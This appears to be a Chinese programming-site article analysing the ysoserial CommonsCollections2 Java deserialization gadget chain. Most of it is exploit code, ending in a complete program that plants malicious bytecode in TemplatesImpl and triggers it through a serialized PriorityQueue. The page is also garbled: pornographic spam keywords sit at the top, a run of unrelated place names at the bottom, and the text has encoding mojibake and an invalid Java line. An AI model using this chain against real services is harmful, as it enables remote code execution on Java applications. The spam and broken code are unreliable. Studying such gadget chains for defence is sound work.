最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Java安全 ysoserial CommonsCollections2示例分析

 更新時(shí)間:2022年11月04日 14:20:05   作者:功夫小熊貓  
這篇文章主要為大家介紹了Java安全 ysoserial CommonsCollections2示例分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

正文

在最后一步的實(shí)現(xiàn)上,cc2和cc3一樣,最終都是通過(guò)TemplatesImpl惡意字節(jié)碼文件動(dòng)態(tài)加載方式實(shí)現(xiàn)反序列化。

已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。

TemplatesImpl類(lèi)動(dòng)態(tài)加載方式的實(shí)現(xiàn)分析見(jiàn)ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的調(diào)用通過(guò)InvokerTransformer.transform()反射機(jī)制實(shí)現(xiàn),這里可以看ysoserial CommonsCollections1 分析中的前半部分內(nèi)容。

cc2 commons-collections4版本利用鏈

cc2是針對(duì)commons-collections4版本,利用鏈如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行,_tfactory得賦值,因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類(lèi)型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);
    }
}

InvokerTransformer.transform()的調(diào)用

TransformingComparator的compare,實(shí)現(xiàn)了對(duì)屬性this.transformer的transform調(diào)用,這里可以通過(guò)TransformingComparator構(gòu)造方法為該屬性賦值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;
    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通過(guò)compare的調(diào)用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

TransformingComparator.compare()的調(diào)用

PriorityQueue類(lèi)中的readobject()調(diào)用了heapify(),heapify()中調(diào)用了siftDown(),siftDown()調(diào)用了siftDownUsingComparator(),siftDownUsingComparator()方法實(shí)現(xiàn)了comparator.compare()調(diào)用。

那么只要將transformingComparator對(duì)象賦值給comparator,可以通過(guò)反射,也可以通過(guò)構(gòu)造方法,這里通過(guò)構(gòu)造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的參數(shù)來(lái)自queue,所以需要將templates賦值給queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中會(huì)調(diào)用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中帶入的參數(shù)對(duì)象如果不存在newTransformer方法將報(bào)錯(cuò),另外使用templates作為參數(shù),又會(huì)導(dǎo)致在序列化過(guò)程構(gòu)造惡意對(duì)象的時(shí)候得到執(zhí)行。所以這里先用toString()方法代替,后通過(guò)反射方式修改this.iMethodName屬性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

queue屬性賦值

transient queue無(wú)法序列化,但在PriorityQueue的writeobject()、readobject中對(duì)queue做了重寫(xiě),實(shí)現(xiàn)序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i &lt; size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    heapify();
}

通過(guò)反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer,會(huì)因?yàn)闊o(wú)法找到newTransformer報(bào)錯(cuò)。

最終完整利用實(shí)現(xiàn)

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行,_tfactory得賦值,因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類(lèi)型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();
    }
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的詳細(xì)內(nèi)容,更多關(guān)于Java ysoserial CommonsCollections的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • SpringBoot+JSON+AJAX+ECharts+Fiddler實(shí)現(xiàn)前后端分離開(kāi)發(fā)可視化

    SpringBoot+JSON+AJAX+ECharts+Fiddler實(shí)現(xiàn)前后端分離開(kāi)發(fā)可視化

    這篇文章主要介紹了SpringBoot+JSON+AJAX+ECharts+Fiddler實(shí)現(xiàn)前后端分離開(kāi)發(fā)可視化,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2022-06-06
  • springboot開(kāi)啟mybatis駝峰命名自動(dòng)映射的三種方式

    springboot開(kāi)啟mybatis駝峰命名自動(dòng)映射的三種方式

    這篇文章給大家總結(jié)springboot開(kāi)啟mybatis駝峰命名自動(dòng)映射的三種方式,文章并通過(guò)代碼示例給大家介紹的非常詳細(xì),具有一定的參考價(jià)值,需要的朋友可以參考下
    2024-02-02
  • 深入了解JAVA HASHMAP的死循環(huán)

    深入了解JAVA HASHMAP的死循環(huán)

    HASHMAP基于哈希表的 Map 接口的實(shí)現(xiàn)。此實(shí)現(xiàn)提供所有可選的映射操作,并允許使用 null 值和 null 鍵。(除了非同步和允許使用 null 之外,HashMap 類(lèi)與 Hashtable 大致相同。)下面小編來(lái)帶大家詳細(xì)了解下吧
    2019-06-06
  • 使用Java應(yīng)用程序添加或刪除 PDF 中的附件

    使用Java應(yīng)用程序添加或刪除 PDF 中的附件

    當(dāng)我們?cè)谥谱鱌DF文件或者PPT演示文稿的時(shí)候,為了讓自己的文件更全面詳細(xì),就會(huì)在文件中添加附件,那么如何添加或刪除PDF中的附件呢,今天通過(guò)本文給大家詳細(xì)講解,需要的朋友參考下吧
    2023-01-01
  • SpringCloud服務(wù)實(shí)現(xiàn)同時(shí)使用eureka和nacos方法

    SpringCloud服務(wù)實(shí)現(xiàn)同時(shí)使用eureka和nacos方法

    這篇文章主要介紹了SpringCloud服務(wù)實(shí)現(xiàn)同時(shí)使用eureka和nacos方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)吧
    2023-01-01
  • spring boot動(dòng)態(tài)加載Echart餅狀圖

    spring boot動(dòng)態(tài)加載Echart餅狀圖

    這篇文章主要為大家詳細(xì)介紹了spring boot動(dòng)態(tài)加載Echart餅狀圖,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-12-12
  • java實(shí)現(xiàn)切圖并且判斷圖片是不是純色/彩色圖片

    java實(shí)現(xiàn)切圖并且判斷圖片是不是純色/彩色圖片

    本篇文章主要介紹了java實(shí)現(xiàn)切圖并且判斷圖片是否是純色/彩色圖片,具有一定的參考價(jià)值,有興趣的可以了解一下
    2017-08-08
  • Mybatis中#{}與${}的區(qū)別詳解

    Mybatis中#{}與${}的區(qū)別詳解

    這篇文章主要介紹了Mybatis中#{}與${}的區(qū)別詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-12-12
  • Spring Boot學(xué)習(xí)入門(mén)之統(tǒng)一異常處理詳解

    Spring Boot學(xué)習(xí)入門(mén)之統(tǒng)一異常處理詳解

    我們?cè)谧鯳eb應(yīng)用的時(shí)候,請(qǐng)求處理過(guò)程中發(fā)生錯(cuò)誤是非常常見(jiàn)的情況。下面這篇文章主要給大家介紹了關(guān)于Spring Boot學(xué)習(xí)入門(mén)之統(tǒng)一異常處理的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考下。
    2017-09-09
  • Springboot整合Swagger2和Swagger3全過(guò)程

    Springboot整合Swagger2和Swagger3全過(guò)程

    這篇文章主要介紹了Springboot整合Swagger2和Swagger3全過(guò)程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-07-07

最新評(píng)論

兴和县| 科尔| 汉中市| 都昌县| 平阴县| 淮南市| 和顺县| 陵川县| 桂东县| 神木县| 兴安盟| 雷州市| 红安县| 略阳县| 拜城县| 宁海县| 福州市| 鹤庆县| 长春市| 奈曼旗| 新民市| 衡水市| 万全县| 侯马市| 崇文区| 阿巴嘎旗| 和林格尔县| 涡阳县| 镇赉县| 日土县| 武隆县| 大安市| 湘阴县| 凤城市| 左贡县| 南京市| 龙胜| 从化市| 博客| 峡江县| 伽师县|